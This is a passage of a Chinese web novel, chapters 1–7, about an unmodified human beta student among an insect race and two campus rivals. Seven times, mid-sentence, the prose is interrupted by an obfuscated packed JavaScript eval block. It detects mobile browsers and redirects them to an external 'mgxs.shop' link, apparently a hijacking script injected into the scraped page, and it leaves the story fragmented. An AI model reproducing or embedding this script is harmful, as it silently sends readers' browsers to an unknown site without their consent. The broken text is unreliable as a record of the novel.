《修罗场里无助的炮灰女beta》 1. 第 1 章 “你闻到了吗?” “的确有股味……好香……” 即便教室里人声有些嘈杂,但口水声依旧格外突兀。 “你瞧瞧你,能不能有点出息?没闻过Omega的信息素吗?” “还说我,你刚刚还擦嘴角了,口水都快要流出来了。” “这好像不是信息素。”一名beta忍不住出声。 绝大多数的beta是闻不到信息素的。 “难道是有人在教室里吃东西了?” “这种人必须严惩!怎么能在如此神圣的教室里吃东西呢?” 几个人口是心非地走出教室,打算去查监控,过了一会儿,一个个垂着头,如同被冰雹狠狠拍打过一样,慢慢地走了回来,脸上写满了不愿相信。 因为没有人在教室里吃东西。 可就是有一抹香味不断刺激着他们的味蕾、嗓子和食道,像是有人用手指轻轻安抚过一样,却又带着一股致命的诱惑。 “……” 坐在后排的祁星目睹了一切。 人类通过改造进化自己,想要让自己变得更为强大,以此来摆脱成为虫族食物的凄惨命运。 他们成功了,但不是因为他们变强了,而是因为在长久的改造中,他们的肉质变了,变得极为难以下咽。 这对刚刚穿越过来的祁星不是一个好消息,她只是一个普通的人类,她没有被改造过,她肉质鲜美。 小的时候,她受邀去朋友家玩,可没过多久朋友家就乱做成一团。 在朋友父母以及警安署的人的帮助下,她的手臂从朋友的喉咙里面拔了出来。 朋友还在地上爬,被他的父亲给拦了下来,然后就一直在哭,因为气息不顺,小脸憋胀的通红,手挠在父亲的裤腿上,留下了好几道血痕。 “不,我要她,你们把她还给我,你们不能这么做……” 她被遗忘在角落,所有人只当她的朋友隐性病发作。 直到领养她的神父将她从地上抱了起来,轻抚着她的手背,“好孩子,被吓坏了吧?” 她有点机械地扬起头,对上一双灰暗但饱含柔和的眼眸,动了动刚刚被救出来的手臂,“好温暖。” 她朋友的嘴好暖和。 神父帮她擦拭着手臂上的湿漉,“朋友太危险了,以后还是不要到朋友家里玩了。” 朋友的父亲很有钱,事后支付了一笔费用,希望神父不要向其他人提及此时。 神父觉得地下区太过危险了,越是贫穷的虫族,越是基因低劣,控制不了生理本能,所以掏空所有积蓄送她到地中区。 后来发现地中区的虫子依旧会对着她流口水,就将她送到了地上区。 ………… 祁星缓缓收回视线,大学开课才两天,昨天她请了假,今天算是第一天上课,如今看来地上区的虫族也是一般。 “祁星。” 祁星恍惚了一下,耳朵像被泛着一点点清香的棉花糖轻轻擦过,却又没有那么甜腻。 她循着声音看了过去,糖栗色头发的青年面容含笑地望着她,琥珀色的眼眸也如同糖果般透亮,姣好的面容,五官线条柔和,很容易就会令人心神好感。 “祁星,昨天老师布置了需要分组完成的任务,我看你直到现在还没有提交表格,想来问一下你需不需要帮忙?你可以加入我们。” 祁星对着那双如同糖果一般甜蜜的眼睛愣了一会儿。 她刚入学,本专业的同学都没认识几个,但对面前这个学长却略有耳闻。 游玉成的父亲是路政督管,掌管着主星所有轨道,包括商道和军方使用的轨道。 但是游玉成能在同学中格外受欢迎,不仅仅是靠着父辈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550502|204307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光环,还因为他自己本就平易近人和善于助人。 就游玉成向她走过来的这一小段路上,依旧有六七个虫向游玉成表达好几日之前对自己的帮助了。 完全可以算得上是众星捧月了。 完完全全的天龙“虫”。 而她作为炮灰beta,开学没多久,就立志要做这些天龙“虫”的跟班。 游玉成虽然语气温柔,但语气中满是高高在上的不容置喙。 游玉成目光落得高高的,几乎没有在这些人有过停留。 “地中区来的,总不应该听不懂我们的话吧?” “快点把表填了!” 祁星目光移动,站在游玉成身旁的金发的青年严格来讲更加的夺目,嫣红色的瞳孔像是被精心雕刻过的宝石,无光也能熠熠生辉,耳畔垂着一小颗透明的钻石。 游玉成并没有因为身旁的好友暴躁的脾气和鲁莽的行为作出任何解释,如同欣赏一般。 欣赏对方是如何将自己衬托地更加完美。 但另外一方似乎全然不在意。 安布曼迈着修长的腿向前一步,原是想要给这个不知天高地厚的人一点威压,但他没有想到原本好好坐在位置上的祁星会突然站起身来,她的肩头差一点擦过他的胸口。 一抹从来都没有闻过的香味飘了过来,他心跳有些过快。 安布曼还没有从香味中缓过神来,面前的少女忽然轻轻向前倾斜了下身子,在他脖颈间闻了一下,发丝擦过他的胸口。 游玉成看到眼前一幕,微怔,“抱歉,他的脾气就是有些……” “你好香。” “这里的香味是你身上的吗?” 祁星一边说着,一边敛着眼眸,偷偷看了脸色有些不太好看的游玉成。 只有你的那个粗鄙的朋友获得了关注,让你非常的不爽吧。 2. 第 2 章 安布曼急忙向后退了半步,耳垂染着不自然的红晕,钻石耳钉像是点缀在海棠花上的露水。 “你说什么?” 他提高了声音,喉结却不受控地上下滑动了两下,注意力不由自主地被闻到的香气所吸引。 他感觉不到“信息素”里有任何的攻击性或任何控制欲,很符合Omega信息素的特性。 并且信息素控制的特别好,也不会让alpha闻到后就失去理智。 不知道是哪个Omega一直在释放信息素。 但一定不是他。 他的信息素不会轻易给别人闻。 祁星清浅地勾了下唇角,安布曼没有紧皱,甚至还没有领会到祁星目光中的深意,就被一群虫给围住了,有alpha,也有Omega。 “安布曼学长,这是你的信息素吗?” “学长,能让我闻得再仔细一点吗?” 游玉成失去了站在安布曼身边的位置,被蜂拥而至的同学挤了一下,踉跄着后退了半步,琥珀色的眼眸覆上一层淡淡的薄雾。 他抬眸看了过去,祁星纤细的手指压着笔,将桌子上的表格往前一推,轻轻地对他动了动唇。 ——我不感……情趣(兴趣) 游玉成微微一怔,目光瞬间变得清澈了许多,也忘记了身边的安布曼成为所有人目光焦点。 祁星以为住在地上区的虫族除了身份地位,智商也跟着进化了,也以为游玉成将她的口型看清楚了,所以拿上包走出了教室。 她暂时没有和虫子一起完成课业的打算,她可以一个人做,或者再找一名人类。 游玉成没有那么好心,要么是将全部的课业都交给她一个人完成,要么就是让她当成出丑。 反正像她这样普通、又能供他们玩乐的beta实在是太多了。 游玉成下意思想追,可通讯器震动了两下,还未等他稳定心神,通话已经接通。 祁星隐约听到游玉成用有些紧绷的语气唤了声,“舅舅。” ———— 地上区中心综合学校向来宣传包容,虽然创办者是虫族,但这里并不拒收优秀的人类。 祁星算不上是优秀,成绩只能算是平庸,混在一群优秀的虫族和人类中,显得是那么的不起眼。 来到站牌着,等车回家的她忽然想起了什么。 刚刚她拒绝游玉成的动作潇洒又行云流水,忘记了压在表格上的笔是她的。 果然文具这种东西从来不会被用完,只会丢失找不到。 ———— “滚,滚,滚……” 安布曼压着声音说了好几个滚,把自己气得脸红脖子粗,猩红的眼眸泛着戾气,围上来的同学被这一气势给震慑到了,纷纷后退,一边打着像是“今天天气真好”的这种哈哈,一边脚下生风的往外跑去。 安布曼嫌弃地拍了拍衣服上根本不存在的灰。 他就是觉得脏,不只是alpha,那些Omega也脏得要命。 “你可以用我的纸巾。” 安布曼看都不看一眼,直接拍掉了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550503|204307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只玉白的手,“还有你,都怪你,如果不是你非要和这个人组队,我就不会被那些肮脏的虫围着。” “也不会被那个人贴得那么近。”他皱了皱眉,胸口那一片一直痒得厉害,他怀疑被祁星头发碰过的地方都长疹子了。 游玉成看了一眼泛红的手背,眸色淡了淡,脸上逐渐浮现一抹担忧和抱歉,“我看她落单,就想要帮她一下,但没有想到她会这样诬陷你。” “对吧,你都知道那样的信息素肯定不会是我的,他们却蠢笨如猪分不清。”安布曼自己说自己的,根本没有注意到游玉成的脸色。 游玉成微微一笑,“她可能不是故意要这么做的。” 安布曼抬起饱满怒意的眼眸,幽幽地看着游玉成,冷哼一声,“你总是这么好脾气,难怪被人欺负了也不知道,我可不会和你一样。” “我一定会报复回来。” ———— 祁星看了一眼放在房门前的快递,犹豫了一会儿,弯腰抱进了屋子。 空气中弥漫着些许潮湿发霉的气味,但这完全都在她能接受的范围内。 墙壁一角生出的霉菌还在一点点蔓延,破旧的家电发出的轰鸣声格外沉闷。 祁星打开了第一个包裹,是鲜食速送,餐盒上还贴着一张便签。 “好孩子,要好好吃饭,不要点外卖,也不要和危险的人做朋友,你身边的人都很危险,朋友不是必需品,家人才是最……” 祁星没有看完便签上字体偏柔和的字迹,直接连同餐盒一并扔进了垃圾桶。 3. 第 3 章 祁星摸了摸手臂上的鸡皮疙瘩,调整了一会儿后,警惕地拿起第二个包裹。 与前一个包裹一样,这个包裹也有便签。 “姐姐,能不能理理我,求求你了,求求你了。” 便签的结尾还画着一个跪地祈求的小人。 揭开便签,盒子里面装着一颗水蓝色的宝石,泛着幽幽的水光,好像落入了清澈的水中。 祁星掏出光脑,迅速拍照之后上传照片,挂了一个极其昂贵的价格。 她不识货,反正价格挂高一点准没有错。 出物信息发出去没一会儿,评论区就引起了激烈的讨论。 “我的天,我没有看错吧,安瑟伦蓝宝石?安瑟伦星球不是湮灭了吗?之前开采的宝石也寥寥无几。” “开虫眼了。” “等等,这个定位不是地中区和地上区的交界地吗?只有穷鬼虫才会住在那种地方,穷鬼虫怎么可能拥有安瑟伦蓝宝石?骗虫的吧?” “假的也卖这么贵?心也太黑了。” “……” 祁星无心理会他们的争论,除了真心的买家,她一条消息都不想回。 低精力人就是这样的。 祁星给自己订了外面,是神父绝对不会允许她吃的汉堡和薯条。 如果她当着神父吃,神父很大概率又要开始哭了。 ———— 祁星原本想要单人完成课题,却发现课题必须要组队,每队不少于两人。 她刚入学不久,与同专业的同学也没有什么交集,根本就找不到人或者是虫组队。 祁星不是很着急,她一直相信车到山前必有路。 她抱着书想要找个虫少一点的教室自习,避免身上的香味引起过多的关注。 虽然虫族已经有很久不吃人了,他们现在也已吃人为耻,只能那种拥有劣等基因的虫子才会控制不住自己,去吃肉质变得极为难以下咽的人类。 但吃人的基因还在,她也上过虫族的食谱,万一就有几只虫控制不住自己,向她扑过来可就不好了。 越偏的教学楼、越高的楼层,学生越少。 祁星走在格外寂静的长廊上,窗外的鸟鸣声听上去都有些遥远,像是梦中穿出来的一样。 她走过拐角,余光忽然瞟到身后有几道影子在晃动。 早在很久,这几道影子就在跟着她了,如果是为了进行简单的霸凌,这里足够偏僻,不会有老师和同学经过,完全是最方便动手的地方,可他们却迟迟都没有动手。 既然不是直接动手的话…… 祁星挑了一间提供营养液和能给光脑充电的教室,前脚刚走进去,后脚门就被锁住了。 门外传来窸窸窣窣的声音。 “天哪,她不是学习一般吗?怎么挑个教室都要挑出花来?” “要是把挑教室的时间花在学习上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550504|204307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不定她的成绩能够更好。” “哼,算她倒霉,挑了一个没有虫的教室,让我们可以把她锁在里面。” “……” 祁星闭眼摇了摇头。 冤枉,实在是太冤枉了。 她挑这么久的教室,不就是为了能让他们把自己锁在这里吗? 与其让他们再想其他办法对付她,还不如让他们把她锁在这里。 教室里什么都有,还能给光脑充电,一点都不影响她上网冲浪。 祁星摊开书,在偌大的教室里选了个最前排的位置坐了下来,笔在指尖上转了好几个圈。 她苦思冥想很久,终于有了解题思路,忽然身后传来一声闷响,淡淡的山茶花香悄无声息地飘了过来。 祁星缓缓转过身,教室最后排一道身影慢慢突起,少了明亮的光线,那一头的金发也略显暗淡,嫣红的的眼眸覆着一层浅薄的水雾,像是宝石上结了一层霜,格外的冰冷。 安布曼用力捶了下桌面,攥紧的拳头手背绷出青筋,他呼吸渐渐变得湿热,胸口上下起伏的厉害,五脏六腑像是被压过一样,又放在炭火上来回翻面,又痒又痛,尤其是在他闻到一抹似有若无的香味后,嗓子里痒得更厉害了,迫切想要含点什么东西进去。 为什么……偏偏是在他的发.情期? 那群蠢货!他让他们给祁星找点麻烦,没让他们把他和祁星关在同一间教室里。 4. 第 4 章 安布曼用力咬了唇,强行压下翻涌上来的贪婪的炙热,一点点血腥味在他的舌尖化开。 Omega的发.情期不是那么好熬的,尤其是他发.情期并不稳定规律,他也不知道什么时候会来,但每一次都极为煎熬,要比一般的Omega情况都要严重很多。 他想要出言警告祁星,别以为他处于发.情期,就能对他蹬鼻子上脸了,据他观察,祁星很有可能是beta,要么就是个Omega,根本不足为惧。 “你……” 他的话刚刚出口,就眼睁睁看着坐在前排的祁星转过了身。 黑色的发丝在空气中勾勒出无形的弧度。 不带任何留恋。 安布曼愣了下,直到又一股热气翻涌上来,烫得他手脚发麻,并且自从闻到那股香味后,他的食道也开始又痒又疼了。 垂在身侧手用力攥紧,发出令人牙齿发酸的声响。 一点点委屈在心头化开。 凭什么这么对他? 没看到他在难受吗? 安布曼闭了闭眼眸,压下眼眸氤氲的雾气,拖着摇摇晃晃的身子,一步步的从后排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550505|204307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艰难移动到前排,香味似乎浓郁了一些,嗓子更痒了。 等他回过神来,指尖多了点点血迹,脖颈上的湿润感更加明显,他轻轻碰了下,就疼得他忍不住倒吸一口气。 他……抓伤了自己的脖子? 之前从来都没有出现过这样的情况。 “喂,你……”安布曼手撑在祁星的桌子上,领口被拉扯的歪歪扭扭,大片莹白的肌肤暴.漏在了空气中,点染着些许不自然的纷晕,青色的血管藏在其中。 “没看到我在发.情期吗?你不应该做点什么吗?” 5. 第 5 章 话说出口,安布曼自己都怔了一会儿。 即便他的语气再恶劣,这些话听上去都像是在撒娇。 可看到祁星始终不为所动,就只是直勾勾地盯着课本上的练习题,半天都不动笔。 像这样的练习题,难道不是看一眼就能得出答案吗?祁星为什么要看这么久? 难道是故意不理会他? 安尔曼皱了皱眉,被咬得殷红的薄唇抖了抖,心头微酸,“你凭什么这么对我?你没有听见我在和你说话吗?别装了,这些题一眼就能看得出答案,根本不需要看那么久!” 笔重重落在桌子上的声音打断了安尔曼的思绪,也让他到了嘴边的话又给咽了回去,香味浓郁了几分,明明方才他还能忍受身体里的燥热,可……他下意识看了一眼撑着侧脸的祁星。 越靠近祁星,他感觉自己愈发的不受控。 属于虫子特有的口器里疯狂分泌着口水,来不及吞咽就会将他呛到,舌头酥麻得厉害,像是从冰块上被生拉硬拽下来一样。 祁星看着试卷上的题目,听着安布曼的话,感觉破受打击。 这题目这么难,到底怎么一眼就看出答案的? 她无视掉身旁快要扭曲变异的漂亮青年的目光,又快速地题目看了一眼,依旧无果。 安布曼正痛苦不安,忽然听到祁星轻声叹了口气,再正常不过的叹气了,可他的身体却像是注入了过多的跳跳糖,止不住的轻颤。 “唉,我没有遇到过Omega……”祁星目光在安布曼的身上轻顿了下,“不知道该怎么办。” “不知道,你难道不能学吗?” 安布曼想要发怒,可泛软的舌头让他说出话变了调,更像是在无能地撒娇。 祁星重新拿起笔,在本子上写写画画,像是没有听到他说话一样。 “你……我在和你说话,你没有听到的吗?” “还有你之前居然敢污蔑我,明明是你的香……” 起先,安布曼觉察到身子的不对劲,还有些庆幸自己选择了一个无人的教室,不用看alpha对他流口水,只是他身上没有抑制剂。 但他想着只要忍过这一阵子就好。 可祁星突然闯了进来,还有那群成事不足败事有余的家伙,把他和祁星关在了一起。 “你到底在写什么?” 比起那抹飘忽不定的香味,安布曼受不了祁星明明坐在他的面前,却一句话都不与他说。 他一把夺过了祁星的笔记本。 祁星放下了笔,看着安布曼表情由呆愣变成了诧异,最后变成恼羞成怒,捏着本子的手指还在发颤。 “你这写的都是什么?” 什么叫做Omega的发.情期观察记录手册? 1.虚张声势,又有点语无伦次,脾气变得奇差无比(很有可能之前也比较差) 2.应该释放了不少的信息素(但是我闻不到) 3.面颊微微泛红,眼睛湿润,会不自觉地啃咬下唇,说话时每隔两三个字会稍稍停顿一下,声音有点娇软,很好听 4.垂在身侧的手攥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550506|204307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得过紧,掌心泌出了血珠,疑似有自虐倾向…… 安布曼面颊又烫了一个度,气急败坏地将本子摔在了祁星面前,“谁让你写这些乱七八糟的东西?” 祁星轻靠在椅背上,浓郁的山茶花香熏得她有些头晕,她想如果拿来当空气清新剂应该是个不错的选择,“你不是说让我学习吗?我在学习。” “你……” 安布曼愈发难以忍受身体上的酸痛肿胀,尤其是不知何时,体内堆积起了如同浪涛一般要将他吞噬的饥饿感。 他从来都没有像现在这样饿过。 桌椅碰撞的声音撩拨着安布曼的神经,他下意识抬起头,眼眸挤着过多的雾气,视线逐渐变得模糊不清。 祁星站起身来,从他的身边走了过去,而且还是绕得最远的距离。 “你……”想到祁星笔记本上的内容,安布曼下意识咬住舌尖,不让自己说话。 他看着祁星走向门口,即便视线逐渐模糊,但还在心中冷哼。 门被锁了,祁星就只能在这里陪他。 祁星在门前站了一会儿,转而走向了半开的窗户。 安布曼心头涌上一抹不好的预感,脸色微微一变,刚想要出声,就见祁星将窗户完全拉开,纵身一跃,跳了出去。 安布曼顿时脸色惨白,甚至都感觉不到腺体的不适,快步向前,踉跄着被绊倒在地。 手再次收紧,指尖再次刺入掌心,血珠又流了出来。 就这么难以忍受与他共处一室? 甚至……不惜跳楼? 6. 第 6 章 祁星在校园里闲逛了一会儿,还买了一个抹茶口味的冰激凌。 她要求多撒一点抹茶味,嘴里的苦味多了,那股浓郁的山茶味才能驱散走。 祁星吃掉冰激凌,看了一眼时间,想着也不早了,就又慢悠悠逛进了便利店。 在寻找一番过后,她来到了摆放着抑制剂的货架前。 因为是地上区的学校,学校可能只考虑到了那些天龙虫,便利店售卖的物品也不是一般的贵。 祁星在货架的最底层找到了最便宜的抑制剂。 她当然可以买最便宜的抑制剂回去,但真这么做的话,起到的效果会非常的一般。 可是……贵的抑制剂它是真的贵啊。 “学长,你刚刚真是太厉害了。” “那个银毛真是活该,我早就看他不顺眼了,雄不雄、雌不雌的。” “……” 祁星被充满激情的话语给吸引去了视线。 深糖色发色,五官线条偏柔和的游玉成被几只虫围住,他脸上挂着略显疏离的微笑。 与上次不同,今天的游玉成没有穿镶嵌着宝石的制服,取而代之的是黑色的紧身训练服,昂贵的特殊材质的布料紧紧贴在身上,勾勒出紧实但并不夸张的肌肉线条,将游玉成仿佛生下来就有的书卷气淡化了一下。 祁星没想到自己刚看过去,就对上了游玉成的视线。 她不相信世界上有这么巧合的事情,游玉成不知道偷偷看了她多久。 祁星缓缓勾了下唇角,刚要收回视线,就听到游玉成对身边围住他的几个学生说,“不好意思,我还有事,容许我先离开。” 游玉成要走,没有虫敢上前阻止,但那几只虫纷纷流露出失落的神情,仿佛能和游玉成说上两句话是及其不容易的事情。 “你在……买东西吗?” 游玉成脸上柔和的笑容顿了下,身前的少女身上带着些许独属于Omega的信息素,已经近乎浓郁到将少女完全包括在内的程度了。 少女还是站在售卖抑制剂的货架前,这就已经说明很多了。 祁星收回视线,重新看向货架,“嗯,我想买一款抑制剂,学长,你有推荐的吗?我想选一款最好的。” 游玉成身上的信息素也很浓郁,她怀疑可能是与游玉成刚刚经理过战斗训练有关。 入学选课的时候,好像见到过不少关于战斗的课程,但因为她统统都不敢兴趣,只匆匆看了一眼,就略了过去。 游玉成下意识侧眸看了过去,祁星的侧脸被垂落下的青丝挡住了些许,像是要拨开云才能看得见的皎洁的月光。 祁星是觉得他曾经与Omega亲近过,所以才会问他该如何选择抑制剂? 游玉成唇角的弧度淡了一点,“你是给谁买呢?他没有告诉你要买哪一款吗?我的意思是,这么私人的物品,他应该准确告诉你要买哪一个,或许他还应该把钱给你。” 祁星手指在价格虽然不是最贵,但也是排在前二、前三的抑制剂上点了点,“很重要的人,是我自己想要买给他的,也可能是我自作多情。” “他看上去很需要保护。” 她转眸看了过来,游玉成在祁星澄澈的眼睛里看到了自己的倒影,刚刚战斗过的身子肌肉微微绷紧,尽管已经做过简单的处理,但身上隐约还带着一股血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550507|204307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腥味,眉眼间的戾气还未完全淡去。 beta和Omega? 在此之前,他就没有见过beta能和Omega长久的,beta没有信息素,不能给予Omega标记,而Omega又天生放荡,他对任何虫的情感都抵不过一次标记,哪怕只是临时的,alpha随便释放一点信息素,就能将Omega的魂勾走。 Omega把beta绿了的事情屡见不鲜 。 祁星如果要走前人的老路,他不会阻拦,但是也应该多少膈应一下那个Omega。 祁星注意到游玉成的眸色又深了些许,打算再推波助澜一下,“学长,我昨天拒接你,是因为我已经有想要组队的人了,不然我肯定不会拒绝你。” “我虽然没有买过,但是我见我的朋友经常用这一款,”游玉成从货架上拿起一根抑制剂,他见祁星并没有接过去,淡淡的笑了下,“作为对昨天的事情的歉意,就由我来付款吧。” 祁星垂下眼眸,挡住眼底的戏谑,“这不行,学长,还是我来付。” alpha的胜负欲真的是非常好利用的东西。 游玉成执意要他来付钱,而且一根不够,整整买了一包。 他在抑制剂的包装上留了一点点自己的信息素。 这甚至都不能算是故意留下的,他刚上完训练课不久,身上会有信息素很正常。 如果那个Omega处于发.情期,很快就会觉察到他的信息素。 一个发.情期的Omega太需要alpha的信息素安抚了。 祁星没有认清现实。 他就给祁星这个教训。 7. 第 7 章 祁星慢悠悠地回了之前的教室,从外面打开了门。 门被推开的一瞬间,她就好像掉入了山茶花堆里,还是开得最糜烂的那一堆。 她走进去后,又将身后的门关上,漫步走向蹲坐在地上的安布曼。 安布曼似乎被折腾的不轻,像是一朵开败了的小花,缩在桌子旁边,苍白的肌肤上点染着病态的红晕,手指的血痕早就干掉了。 安布曼听到声响,浓密地羽睫颤了颤,睁开一道眼缝,明明只看到了一个模糊的身影,但他就能认出这个人是祁星。 他将怀里的写着祁星的课本抱得更紧了些,“你不是走了吗?还回来做什么?” “我是不会还给你的。” 他是绝对不可能承认自己是为了寻求安全感,这才抱住了祁星的书。 “你把我扔在这里就好,也不用管我,我也一点都不想要你来帮我……” 祁星微微歪了下头,如果不是看到安布曼眼角的泪光,以及他说两句话就要抽口气的样子,她真的差一点就相信了。 “谁说我是来帮你的?我明明是来看你笑话的。” 安布曼愣住了,像是许久没有上过发条的机器,没了任何动作。 祁星见人总算安静了下来,她蹲下身子,手刚刚碰到安布曼体温过高的脖颈,安布曼就如同离了水的鱼,无力地挣扎起来。 安布曼的腺体被轻轻碰触,一种无助的恐慌瞬间攀附上他的脊骨。 要折磨报复他、还是标记他……祁星只是一个beta,应该不能标记他。 “别动。” 略低沉的声音擦着他的耳朵而过,那抹说不上来的香味又飘了过来,但这次还缠着了一股他难以忍受的alpha的信息素。 胃有极强的下坠感,激起强烈的呕吐欲.望,他还是第一次知道饿到极致是会想要吐的。 抑制剂的针头刺穿安布曼的脖颈肌肤,他身子又抖了起来,紧闭的唇发出很细微的声音。 安布曼:“你身上……有alpha的……” 祁星按在安布曼脖颈上的手缓缓施压,“别动,这是我从alpha手中拿到的,我被他欺负好久,才拿来这么一根。” “你要是弄碎的话,我可能又要被欺负一遍,才能再拿回一根抑制剂。” 谎话,她是张口就来。 祁星没有给Omega打针的经历,但想起在联邦网上看到的Omega都比较娇弱的宣言,她打针的手抖了下,下意识放轻了力道。 可余光一瞟,安布曼屁股底下有个绿绿的东西,怎么看都觉得眼熟。 她低了低头,想要凑近看个仔细。 这……好像是她的笔记本。 安布曼把她的笔记本垫在了屁股底下?!! 祁星手一抖,针头又送进去一点,青年轻吟出声。 安布曼身子止不住的轻颤。 冰冷的针头刺入肌肤,十分钟后抑制剂就能起作用,到时候他的身体就不会像现在这么难受了,腺体不再肿胀,他也不会在不受控地释放出那么多的信息素。 他微微抬起眼眸,只模糊地看到祁星的一小截下巴。 浓郁地香味让他身子松软下来,可神经一直紧绷着。 欺负?alpha? 祁星是beta,被alpha为难就是为了给他拿到抑制剂? 一种难言的酸涩翻涌上了心头,这次一点也没了别人为他付出的心安理得,反而舌根苦涩地让他拼命吞咽着口水,即便口腔越来越干燥,逐渐失了水分。 痛恨自己的情绪不知何时产生,但却一点点将自己吞噬殆尽。 怎么会? 为了他? 等安布曼再次醒来,身上的衣服早就被冷汗打湿,他撑起酸软地上半身。 教室里早就没了祁星的身影,就连那抹香味也跟着一并消失了,仿佛刚刚只是他做的一场虚幻至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550508|204307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极的梦。 或许是发.情期透支了他太多的力气,心中竟然感觉有些空落落的。 他摸了摸自己的手臂,低头时看到盖在他身上的不是自己的外套。 他拿起来看了一眼,布料十分粗糙廉价,他家佣人使用的抹布都要比这件外套柔软许多。 这些祁星的? 安布曼脖颈上传来阵阵酥痒,等他回过神来,外套早就被他放在了鼻尖前。 他喉结上下滑动了两下。 他简直疯了。 一定是祁星给他注射的抑制剂不对! 安布曼正这么想着,手指在外套里碰到了一个硬硬的物件。 他略感奇怪的摸索了一会儿,从口袋里又掏出来一根抑制剂。 没有过期,也不是劣质牌子,就是他经常会使用的抑制剂。 祁星明明说自己只有一根,也说了如果还想要抑制剂的话,就只能再被alpha欺负一遍…… 那这根抑制剂……祁星又被欺负了? 安布曼不知道自己这是怎么了,但就是莫名地烦躁,他用力地握着手臂,慢慢又变成了抓挠。 他想不明白怎么会有beta这么笨的,没有见过Omega发.情。 难道祁星不会去买抑制剂吗? 就算……就算祁星没有钱,那也完全可以问他要,为什么要去给alpha欺负…… 安布曼握着抑制剂的手高高举起,但最终还是缓缓放了下来。 好吧,看在祁星真心实意的求和的份上。 他就暂时原谅祁星了。 可安布曼心中依旧不好受,像是生出一根刺一样,无论怎样的抓挠都起不到任何作用。 即便过了很久,他脑子里也还是祁星身上沾染着的alpha的信息素。 他要把那个alpha找出来,然后…… 青年敛下的猩红色的眼眸血色越来越重,逐渐透露出几分诡谲。